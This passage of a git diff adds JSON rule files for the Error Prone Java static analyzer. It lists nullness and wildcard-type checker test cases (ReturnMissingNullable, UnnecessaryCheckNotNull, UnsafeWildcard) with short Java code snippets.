"package com.google.errorprone.bugpatterns.nullness;\n\n import java.util.Optional;\n\n class LiteralNullReturnTest {\n public String getMessage(Optional m) {\n return m.orElse(\"\");\n }\n }" + }, + { + "description": "negativeCases_doesNotImplementMap", + "expected-problems": null, + "expected-linenumbers": [ + 1981 + ], + "code": "interface NotMap {\n String get(Object o);\n\n V replace(K k, V v);\n }\n \n\n interface MyMap extends NotMap {\n @Override\n String get(Object o);\n\n @Override\n Double replace(Integer k, Double v);\n }" + }, + { + "description": "negativeCases_suppressionForReturnTreeBased", + "expected-problems": null, + "expected-linenumbers": [ + 2007 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n import java.util.Optional;\n\n class LiteralNullReturnTest {\n @SuppressWarnings(\"ReturnMissingNullable\")\n public String getMessage(Optional m) {\n return m.orElse(null);\n }\n }" + }, + { + "description": "negativeCases_suppressionForMethodTreeBased", + "expected-problems": null, + "expected-linenumbers": [ + 2027 + ], + "code": "interface NotMap {\n Integer get(String o);\n }\n \n\n import java.util.Map;\n\n interface MyMap extends Map, NotMap {\n @SuppressWarnings(\"ReturnMissingNullable\")\n @Override\n V get(Object o);\n }" + }, + { + "description": "negativeCases_suppressionAboveMethodLevel", + "expected-problems": null, + "expected-linenumbers": [ + 2051 + ], + "code": "interface NotMap {\n Integer get(String o);\n }\n \n\n import java.util.Map;\n\n @SuppressWarnings(\"ReturnMissingNullable\")\n interface MyMap extends Map, NotMap {\n @Override\n V get(Object o);\n }" + }, + { + "description": "negativeCases_implementsMapButRunningInConservativeMode", + "expected-problems": null, + "expected-linenumbers": [ + 2075 + ], + "code": "import java.util.Map;\n\n interface MyMap extends Map {\n @Override\n V get(Object o);\n }" + }, + { + "description": "returnSameSymbolDifferentObjectInsideIfNull", + "expected-problems": null, + "expected-linenumbers": [ + 2091 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n abstract class LiteralNullReturnTest {\n Object o;\n\n Object foo(LiteralNullReturnTest other) {\n if (o == null) {\n return other.o;\n }\n return \"\";\n }\n }" + }, + { + "description": "suggestNonJsr305Nullable", + "expected-problems": null, + "expected-linenumbers": [ + 2113 + ], + "code": "class T {\n @Nullable private final Object obj1 = null;\n\n private final Object method(boolean b) {\n return b ? null : 0;\n }\n\n @interface Nullable {}\n }\n \n\n class T {\n @Nullable private final Object obj1 = null;\n\n @Nullable\n private final Object method(boolean b) {\n return b ? null : 0;\n }\n\n @interface Nullable {}\n }" + }, + { + "description": "nonAnnotationNullable", + "expected-problems": null, + "expected-linenumbers": [ + 2146 + ], + "code": "class T {\n private final Object method(boolean b) {\n return b ? null : 0;\n }\n\n class Nullable {}\n }\n \n\n class T {\n @org.jspecify.annotations.Nullable\n private final Object method(boolean b) {\n return b ? null : 0;\n }\n\n class Nullable {}\n }" + }, + { + "description": "multipleNullReturns", + "expected-problems": null, + "expected-linenumbers": [ + 2175 + ], + "code": "class T {\n private final Object method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }\n \n\n import org.jspecify.annotations.Nullable;\n\n class T {\n private final @Nullable Object method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }" + }, + { + "description": "memberSelectReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 2209 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n java.lang.Object method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }\n \n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n java.lang.@Nullable Object method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }" + }, + { + "description": "annotationInsertedAfterModifiers", + "expected-problems": null, + "expected-linenumbers": [ + 2245 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n final Object method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }\n \n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n final @Nullable Object method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }" + }, + { + "description": "parameterizedMemberSelectReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 2281 + ], + "code": "import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n java.util.List method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }\n \n\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n java.util.@Nullable List method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }" + }, + { + "description": "annotatedMemberSelectReturnType", + "expected-problems": null, + "expected-linenumbers": [ + 2317 + ], + "code": "import org.checkerframework.checker.initialization.qual.UnderInitialization;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n java.lang.@UnderInitialization Object method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }\n \n\n import org.checkerframework.checker.initialization.qual.UnderInitialization;\n import org.checkerframework.checker.nullness.qual.Nullable;\n\n class T {\n java.lang.@Nullable @UnderInitialization Object method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }" + }, + { + "description": "annotationNotNamedNullable", + "expected-problems": null, + "expected-linenumbers": [ + 2355 + ], + "code": "class T {\n Object method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }\n \n\n import javax.annotation.CheckForNull;\n\n class T {\n @CheckForNull\n Object method(boolean b) {\n if (b) {\n return null;\n } else {\n return null;\n }\n }\n }" + }, + { + "description": "aggressive_onlyStatementIsNullReturn", + "expected-problems": null, + "expected-linenumbers": [ + 2391 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public String getMessage() {\n // BUG: Diagnostic contains: @Nullable\n return null;\n }\n }" + }, + { + "description": "aggressive_typeVariableUsage", + "expected-problems": null, + "expected-linenumbers": [ + 2409 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n public T getMessage(boolean b, T t) {\n // BUG: Diagnostic contains: @Nullable\n return b ? null : t;\n }\n }" + }, + { + "description": "aggressive_voidTypedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 2427 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class VoidTypeTest {\n public Void run(int iterations) {\n if (iterations <= 0) {\n // BUG: Diagnostic contains: @Nullable\n return null;\n }\n run(iterations - 1);\n // BUG: Diagnostic contains: @Nullable\n return null;\n }\n }" + }, + { + "description": "negativeCases_doesNotRemoveNecessarySuppressWarnings", + "expected-problems": null, + "expected-linenumbers": [ + 2450 + ], + "code": "package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n @SuppressWarnings(\"nullness:argument\")\n public String getMessage(boolean b) {\n if (b) {\n doSomethingElse(null);\n return \"negative\";\n } else {\n return \"negative\";\n }\n }\n\n public void doSomethingElse(Object c) {\n return;\n }\n }\n \n\n package com.google.errorprone.bugpatterns.nullness;\n\n public class LiteralNullReturnTest {\n @SuppressWarnings(\"nullness:argument\")\n public String getMessage(boolean b) {\n if (b) {\n doSomethingElse(null);\n return \"negative\";\n } else {\n return \"negative\";\n }\n }\n\n public void doSomethingElse(Object c) {\n return;\n }\n }" + }, + { + "description": "aggressive_implementsMap", + "expected-problems": null, + "expected-linenumbers": [ + 2499 + ], + "code": "interface NotMap {\n Integer get(String o);\n }\n \n\n import java.util.Map;\n\n interface MyMap extends Map, NotMap {\n @Override\n // BUG: Diagnostic contains: @Nullable\n V get(Object o);\n\n @Override\n // BUG: Diagnostic contains: @Nullable\n V replace(K k, V v);\n\n @Override\n boolean replace(K k, V expect, V update);\n\n @Override\n Integer get(String o);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/UnnecessaryCheckNotNull.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/UnnecessaryCheckNotNull.json new file mode 100644 index 0000000..dda5a34 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/UnnecessaryCheckNotNull.json @@ -0,0 +1,78 @@ +{ + "name": "UnnecessaryCheckNotNull", + "language": "java", + "description": "This null check is unnecessary; the expression can never be null", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 218, + "branches": 22, + "apis": 3, + "test": [ + { + "description": "positive_newClass", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "import com.google.common.base.Preconditions;\n import com.google.common.base.Verify;\n import java.util.Objects;\n\n class Test {\n void positive_checkNotNull() {\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Preconditions.checkNotNull(new String(\"\"));\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Preconditions.checkNotNull(new String(\"\"), new Object());\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Preconditions.checkNotNull(new String(\"\"), \"Message %s\", \"template\");\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n String pa = Preconditions.checkNotNull(new String(\"\"));\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n String pb = Preconditions.checkNotNull(new String(\"\"), new Object());\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n String pc = Preconditions.checkNotNull(new String(\"\"), \"Message %s\", \"template\");\n }\n\n void positive_verifyNotNull() {\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Verify.verifyNotNull(new String(\"\"));\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Verify.verifyNotNull(new String(\"\"), \"Message\");\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Verify.verifyNotNull(new String(\"\"), \"Message %s\", \"template\");\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n String va = Verify.verifyNotNull(new String(\"\"));\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n String vb = Verify.verifyNotNull(new String(\"\"), \"Message\");\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n String vc = Verify.verifyNotNull(new String(\"\"), \"Message %s\", \"template\");\n }\n\n void positive_requireNonNull() {\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Objects.requireNonNull(new String(\"\"));\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Objects.requireNonNull(new String(\"\"), \"Message\");\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n String va = Objects.requireNonNull(new String(\"\"));\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n String vb = Objects.requireNonNull(new String(\"\"), \"Message\");\n }\n }" + }, + { + "description": "positive_newArray", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import com.google.common.base.Preconditions;\n import com.google.common.base.Verify;\n import java.util.Objects;\n\n class Test {\n void positive_checkNotNull() {\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Preconditions.checkNotNull(new int[3]);\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Preconditions.checkNotNull(new int[] {1, 2, 3});\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Preconditions.checkNotNull(new int[5][2]);\n }\n\n void positive_verifyNotNull() {\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Verify.verifyNotNull(new int[3]);\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Verify.verifyNotNull(new int[] {1, 2, 3});\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Verify.verifyNotNull(new int[5][2]);\n }\n\n void positive_requireNonNull() {\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Objects.requireNonNull(new int[3]);\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Objects.requireNonNull(new int[] {1, 2, 3});\n // BUG: Diagnostic contains: UnnecessaryCheckNotNull\n Objects.requireNonNull(new int[5][2]);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "import com.google.common.base.Preconditions;\n import com.google.common.base.Verify;\n import java.util.Objects;\n\n class Test {\n void negative() {\n Preconditions.checkNotNull(new String(\"\").substring(0, 0));\n Verify.verifyNotNull(new String(\"\").substring(0, 0));\n Objects.requireNonNull(new String(\"\").substring(0, 0));\n }\n }" + }, + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 169 + ], + "code": "package com.google.errorprone.bugpatterns.nullness.testdata;\n\n import static com.google.common.base.Preconditions.checkNotNull;\n import static com.google.common.base.Verify.verifyNotNull;\n import static java.util.Objects.requireNonNull;\n\n import com.google.common.base.Preconditions;\n import com.google.common.base.Verify;\n import java.util.Objects;\n\n public class UnnecessaryCheckNotNullPositiveCase {\n public void error_checkNotNull() {\n // BUG: Diagnostic contains: remove this line\n Preconditions.checkNotNull(\"string literal\");\n\n // BUG: Diagnostic contains: remove this line\n checkNotNull(\"string literal\");\n\n String thing = null;\n // BUG: Diagnostic contains: (thing,\n checkNotNull(\"thing is null\", thing);\n // BUG: Diagnostic contains:\n Preconditions.checkNotNull(\"a string literal \" + \"that's got two parts\", thing);\n }\n\n public void error_verifyNotNull() {\n // BUG: Diagnostic contains: remove this line\n Verify.verifyNotNull(\"string literal\");\n\n // BUG: Diagnostic contains: remove this line\n verifyNotNull(\"string literal\");\n\n String thing = null;\n // BUG: Diagnostic contains: (thing,\n verifyNotNull(\"thing is null\", thing);\n // BUG: Diagnostic contains:\n Verify.verifyNotNull(\"a string literal \" + \"that's got two parts\", thing);\n }\n\n public void error_requireNonNull() {\n // BUG: Diagnostic contains: remove this line\n Objects.requireNonNull(\"string literal\");\n\n // BUG: Diagnostic contains: remove this line\n requireNonNull(\"string literal\");\n\n String thing = null;\n // BUG: Diagnostic contains: (thing,\n requireNonNull(\"thing is null\", thing);\n // BUG: Diagnostic contains:\n Objects.requireNonNull(\"a string literal \" + \"that's got two parts\", thing);\n }\n\n public void error_fully_qualified_import_checkNotNull() {\n // BUG: Diagnostic contains: remove this line\n com.google.common.base.Preconditions.checkNotNull(\"string literal\");\n }\n\n public void error_fully_qualified_import_verifyNotNull() {\n // BUG: Diagnostic contains: remove this line\n com.google.common.base.Verify.verifyNotNull(\"string literal\");\n }\n\n public void error_fully_qualified_import_requireNonNull() {\n // BUG: Diagnostic contains: remove this line\n java.util.Objects.requireNonNull(\"string literal\");\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 247 + ], + "code": "package com.google.errorprone.bugpatterns.nullness.testdata;\n\n public class UnnecessaryCheckNotNullNegativeCase {\n public void go_checkNotNull() {\n Preconditions.checkNotNull(\"this is ok\");\n }\n\n public void go_verifyNotNull() {\n Verify.verifyNotNull(\"this is ok\");\n }\n\n public void go_requireNonNull() {\n Objects.requireNonNull(\"this is ok\");\n }\n\n private static class Preconditions {\n static void checkNotNull(String string) {\n System.out.println(string);\n }\n }\n\n private static class Verify {\n static void verifyNotNull(String string) {\n System.out.println(string);\n }\n }\n\n private static class Objects {\n static void requireNonNull(String string) {\n System.out.println(string);\n }\n }\n\n public void go() {\n Object testObj = null;\n com.google.common.base.Preconditions.checkNotNull(testObj, \"this is ok\");\n com.google.common.base.Verify.verifyNotNull(testObj, \"this is ok\");\n java.util.Objects.requireNonNull(testObj, \"this is ok\");\n }\n }\\" + }, + { + "description": "primitivePositiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 297 + ], + "code": "package com.google.errorprone.bugpatterns.nullness.testdata;\n\n import static com.google.common.base.Preconditions.checkNotNull;\n\n import com.google.common.base.Preconditions;\n\n public class UnnecessaryCheckNotNullPrimitivePositiveCases {\n\n private Tester field = new Tester();\n\n public void test() {\n Object a = new Object();\n Object b = new Object();\n byte byte1 = 0;\n short short1 = 0;\n int int1 = 0, int2 = 0;\n long long1 = 0;\n float float1 = 0;\n double double1 = 0;\n boolean boolean1 = false, boolean2 = false;\n char char1 = 0;\n Tester tester = new Tester();\n\n // Do we detect all primitive types?\n\n // BUG: Diagnostic contains: remove this line\n Preconditions.checkNotNull(byte1);\n // BUG: Diagnostic contains: remove this line\n Preconditions.checkNotNull(short1);\n // BUG: Diagnostic contains: remove this line\n Preconditions.checkNotNull(int1);\n // BUG: Diagnostic contains: remove this line\n Preconditions.checkNotNull(long1);\n // BUG: Diagnostic contains: remove this line\n Preconditions.checkNotNull(float1);\n // BUG: Diagnostic contains: remove this line\n Preconditions.checkNotNull(double1);\n // BUG: Diagnostic contains: remove this line\n Preconditions.checkNotNull(boolean1);\n // BUG: Diagnostic contains: remove this line\n Preconditions.checkNotNull(char1);\n\n // Do we give the right suggested fix?\n\n // BUG: Diagnostic contains: boolean1 = boolean2;\n boolean1 = Preconditions.checkNotNull(boolean2);\n // BUG: Diagnostic contains: boolean1 = int1 == int2;\n boolean1 = Preconditions.checkNotNull(int1 == int2);\n // BUG: Diagnostic contains: checkState(tester.hasId())\n Preconditions.checkNotNull(tester.hasId());\n // BUG: Diagnostic contains: checkState(tester.hasId(), \"Must have ID!\")\n Preconditions.checkNotNull(tester.hasId(), \"Must have ID!\");\n // BUG: Diagnostic contains: checkState(tester.hasId(), \"Must have %s!\", \"ID\")\n Preconditions.checkNotNull(tester.hasId(), \"Must have %s!\", \"ID\");\n\n // Do we handle arguments that evaluate to a primitive type?\n\n // BUG: Diagnostic contains: Preconditions.checkNotNull(a)\n Preconditions.checkNotNull(a != null);\n // BUG: Diagnostic contains: Preconditions.checkNotNull(a)\n Preconditions.checkNotNull(a == null);\n // BUG: Diagnostic contains: checkState(int1 == int2)\n Preconditions.checkNotNull(int1 == int2);\n // BUG: Diagnostic contains: checkState(int1 > int2)\n Preconditions.checkNotNull(int1 > int2);\n // BUG: Diagnostic contains: remove this line\n Preconditions.checkNotNull(boolean1 ? int1 : int2);\n\n // Do we handle static imports?\n\n // BUG: Diagnostic contains: remove this line\n checkNotNull(byte1);\n // BUG: Diagnostic contains: 'checkState(tester.hasId())\n checkNotNull(tester.hasId());\n }\n\n public void test2(Tester arg) {\n Tester local = new Tester();\n // Do we correctly distinguish checkArgument from checkState?\n\n // BUG: Diagnostic contains: checkArgument(arg.hasId())\n checkNotNull(arg.hasId());\n // BUG: Diagnostic contains: checkState(field.hasId())\n checkNotNull(field.hasId());\n // BUG: Diagnostic contains: checkState(local.hasId())\n checkNotNull(local.hasId());\n // BUG: Diagnostic contains: checkState(!local.hasId())\n checkNotNull(!local.hasId());\n\n // BUG: Diagnostic contains: checkArgument(!(arg instanceof Tester))\n checkNotNull(!(arg instanceof Tester));\n\n // BUG: Diagnostic contains: checkState(getTrue())\n checkNotNull(getTrue());\n\n // BUG: Diagnostic contains: remove this line\n checkNotNull(arg.getId());\n // BUG: Diagnostic contains: id = arg.getId()\n int id = checkNotNull(arg.getId());\n\n // BUG: Diagnostic contains: boolean b = arg.hasId();\n boolean b = checkNotNull(arg.hasId());\n\n // Do we handle long chains of method calls?\n\n // BUG: Diagnostic contains: checkArgument(arg.getTester().getTester().hasId())\n checkNotNull(arg.getTester().getTester().hasId());\n\n // BUG: Diagnostic contains: checkArgument(arg.tester.getTester().hasId())\n checkNotNull(arg.tester.getTester().hasId());\n }\n\n private boolean getTrue() {\n return true;\n }\n\n private static class Tester {\n public Tester tester;\n\n public boolean hasId() {\n return true;\n }\n\n public int getId() {\n return 10;\n }\n\n public Tester getTester() {\n return tester;\n }\n }\n }\\" + }, + { + "description": "primitiveNegativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 439 + ], + "code": "package com.google.errorprone.bugpatterns.nullness.testdata;\n\n import static com.google.common.base.Preconditions.checkNotNull;\n\n import com.google.common.base.Preconditions;\n\n public class UnnecessaryCheckNotNullPrimitiveNegativeCases {\n public void test() {\n Object obj1 = new Object();\n\n Preconditions.checkNotNull(obj1);\n checkNotNull(obj1);\n Preconditions.checkNotNull(obj1, \"obj1 should not be null\");\n Preconditions.checkNotNull(obj1, \"%s should not be null\", \"obj1\");\n Preconditions.checkNotNull(obj1.toString());\n }\n }\\" + }, + { + "description": "getVariableUses", + "expected-problems": null, + "expected-linenumbers": [ + 466 + ], + "code": "public class A {\n public String b;\n\n void foo() {}\n }\n \n\n public class B {\n A my;\n\n B bar() {\n return null;\n }\n\n void foo(String x, A a) {\n x.trim().intern();\n a.b.trim().intern();\n this.my.foo();\n my.foo();\n this.bar();\n String.valueOf(0);\n java.lang.String.valueOf(1);\n bar().bar();\n System.out.println();\n a.b.indexOf(x.substring(1));\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/UnsafeWildcard.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/UnsafeWildcard.json new file mode 100644 index 0000000..1289b58 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/nullness/UnsafeWildcard.json @@ -0,0 +1,166 @@ +{ + "name": "UnsafeWildcard", + "language": "java", + "description": "Certain wildcard types can confuse the compiler.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 308, + "branches": 66, + "apis": 4, + "test": [ + { + "description": "unsoundGenericMethod", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.nullness.testdata;\n\n import static java.util.stream.Collectors.toList;\n\n import java.util.List;\n import java.util.function.Function;\n import java.util.stream.Stream;\n\n public class UnsoundGenericMethod {\n public interface Marker {}\n\n public interface Converter {\n List convert(T input);\n }\n\n // error below can be avoided here with \"class Impl ...\"\n private static class Impl implements Function> {\n private final Stream> cs;\n\n private Impl(Stream> cs) {\n this.cs = cs;\n }\n\n @Override\n public List apply(T input) {\n // BUG: Diagnostic contains: Unsafe wildcard in inferred type argument\n return cs.map(c -> new Wrap<>(c).handle(input)).collect(toList());\n }\n }\n\n private static class Wrap {\n Wrap(Converter unused) {}\n\n T handle(T input) {\n return input;\n }\n }\n\n public static void main(String... args) {\n // BUG: Diagnostic contains: impossible\n new Impl<>(Stream.of(null, null)).apply(\"boom\");\n }\n }\\" + }, + { + "description": "positiveExpressions", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "import java.util.List;\n\n class Test {\n static class WithBound {}\n\n public WithBound basic() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return null;\n }\n\n public WithBound inParens() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return (null);\n }\n\n public WithBound cast() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return (WithBound) null;\n }\n\n public WithBound inTernary(boolean x, WithBound dflt) {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return x ? null : dflt;\n }\n\n public WithBound allNullTernary(boolean x) {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return x ? null : null;\n }\n\n public WithBound parensInTernary(boolean x) {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return x ? (null) : null;\n }\n\n public WithBound parensAroundTernary(boolean x) {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return (x ? null : null);\n }\n\n public List> nestedWildcard() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return null;\n }\n\n public List> extendsWildcard() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return null;\n }\n\n public List> superWildcard() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return null;\n }\n }" + }, + { + "description": "negativeReturns", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import java.util.List;\n\n class Test {\n public String basic() {\n return null;\n }\n\n public String inParens() {\n return (null);\n }\n\n public String inTernary(boolean x) {\n return x ? null : \"foo\";\n }\n\n public String allNullTernary(boolean x) {\n return x ? null : null;\n }\n\n public String parensInTernary(boolean x) {\n return x ? (null) : \"foo\";\n }\n\n public String parensAroundTernary(boolean x) {\n return (x ? null : \"foo\");\n }\n\n public List typearg() {\n return null;\n }\n\n public List extendsWildcard() {\n return null;\n }\n\n public List superWildcardNoImplicitBound() {\n return null;\n }\n }" + }, + { + "description": "negativeLambdas", + "expected-problems": null, + "expected-linenumbers": [ + 198 + ], + "code": "import java.util.List;\n import java.util.function.Function;\n\n class Test {\n public Function basic() {\n return x -> null;\n }\n\n public Function inParens() {\n return x -> (null);\n }\n\n public Function inTernary() {\n return x -> x ? null : \"foo\";\n }\n\n public Function returnInLambda() {\n return x -> {\n return null;\n };\n }\n }" + }, + { + "description": "lambdasWithTypeParameters", + "expected-problems": null, + "expected-linenumbers": [ + 230 + ], + "code": "import java.util.List;\n import java.util.function.Function;\n\n class Test {\n class WithBound {}\n\n public Function> contra() {\n return s -> null;\n }\n\n public Function> implicitOk() {\n return i -> null;\n }\n\n public Function> implicitPositive() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return u -> null;\n }\n\n public Function> returnInLambda() {\n return u -> {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return null;\n };\n }\n\n public Function> nestedWildcard() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return null;\n }\n }" + }, + { + "description": "typeParameters", + "expected-problems": null, + "expected-linenumbers": [ + 271 + ], + "code": "import java.util.List;\n\n class Test {\n static class WithBound {}\n\n class WildcardBound> {\n T bad() {\n // We allow this and instead check instantiations below\n return null;\n }\n }\n\n WildcardBound> diamond() {\n // BUG: Diagnostic contains: Unsafe wildcard type argument\n return new WildcardBound<>();\n }\n\n WildcardBound> create() {\n // BUG: Diagnostic contains: Unsafe wildcard type argument\n return new WildcardBound>();\n }\n\n WildcardBound> none() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return null;\n }\n }" + }, + { + "description": "variables", + "expected-problems": null, + "expected-linenumbers": [ + 308 + ], + "code": "import java.util.List;\n\n class Test {\n class WithBound {}\n\n private String s;\n private List xs = null;\n private List ys;\n private WithBound zs = null;\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n private WithBound initialized = null;\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n private final WithBound initializedFinal = null;\n // BUG: Diagnostic contains: Uninitialized field with unsafe wildcard\n private WithBound uninitialized;\n private final WithBound uninitializedFinal;\n\n Test() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n uninitializedFinal = null;\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n uninitialized = null;\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n initialized = null;\n }\n\n public void foo() {\n List covariant = null;\n List contravariant = null;\n WithBound inBounds = null;\n WithBound uninitializedLocal;\n final WithBound uninitializedFinalLocal;\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n WithBound implicitBounds = null;\n covariant = null;\n contravariant = null;\n inBounds = null;\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n uninitializedLocal = null;\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n uninitializedFinalLocal = null;\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n implicitBounds = null;\n }\n }" + }, + { + "description": "calls", + "expected-problems": null, + "expected-linenumbers": [ + 363 + ], + "code": "" + }, + { + "description": "inferredParamType_flaggedIfProblematic", + "expected-problems": null, + "expected-linenumbers": [ + 388 + ], + "code": "" + }, + { + "description": "constructors", + "expected-problems": null, + "expected-linenumbers": [ + 409 + ], + "code": "class Test {\n class WithBound {}\n\n public Test() {\n this(null, null);\n }\n\n public Test(WithBound implicit) {}\n\n public Test(WithBound xs, WithBound contra) {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n this(null);\n }\n\n class Sub extends Test {\n Sub(WithBound implicit) {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n super(null);\n }\n }\n\n static Test newClass() {\n new Test(null, null);\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n new Test(null);\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n return new Test<>(null);\n }\n\n static Test anonymous() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n new Test(null) {};\n return null;\n }\n\n void inner() {\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n new Sub(null);\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n new Sub(null) {};\n // BUG: Diagnostic contains: Cast to wildcard type unsafe\n this.new Sub(null) {};\n }\n }" + }, + { + "description": "supertypes_problematicWildcards_flagged", + "expected-problems": null, + "expected-linenumbers": [ + 463 + ], + "code": "import java.io.Serializable;\n import java.util.AbstractList;\n import java.util.List;\n\n class Test {\n class WithBound {}\n\n // BUG: Diagnostic contains: Unsafe wildcard type\n abstract class BadList extends AbstractList> {}\n\n abstract class BadListImpl\n implements Serializable,\n // BUG: Diagnostic contains: Unsafe wildcard type\n List> {}\n\n interface BadListItf\n extends Serializable,\n // BUG: Diagnostic contains: Unsafe wildcard type\n List> {}\n }" + }, + { + "description": "varargs", + "expected-problems": null, + "expected-linenumbers": [ + 493 + ], + "code": "" + }, + { + "description": "arrays", + "expected-problems": null, + "expected-linenumbers": [ + 522 + ], + "code": "" + }, + { + "description": "genericArrays_isCompilerError", + "expected-problems": null, + "expected-linenumbers": [ + 548 + ], + "code": "class Test {\n class WithBound {}\n\n // BUG: Diagnostic matches: X\n WithBound[] simpleInitializer = {null};\n // BUG: Diagnostic matches: X\n WithBound[][] nestedInitializer = {{null}, {null}};\n // BUG: Diagnostic matches: X\n WithBound[][] emptyInitializer = {};\n\n void newArrays() {\n // BUG: Diagnostic matches: X\n Object[] a1 = new WithBound[] {};\n // BUG: Diagnostic matches: X\n Object[] a2 = new WithBound[0];\n // BUG: Diagnostic matches: X\n Object[] a3 = new WithBound[][] {};\n // BUG: Diagnostic matches: X\n Object[] a4 = new WithBound[0][];\n }\n }" + }, + { + "description": "arrays_rawTypes_futureWork", + "expected-problems": null, + "expected-linenumbers": [ + 582 + ], + "code": "" + }, + { + "description": 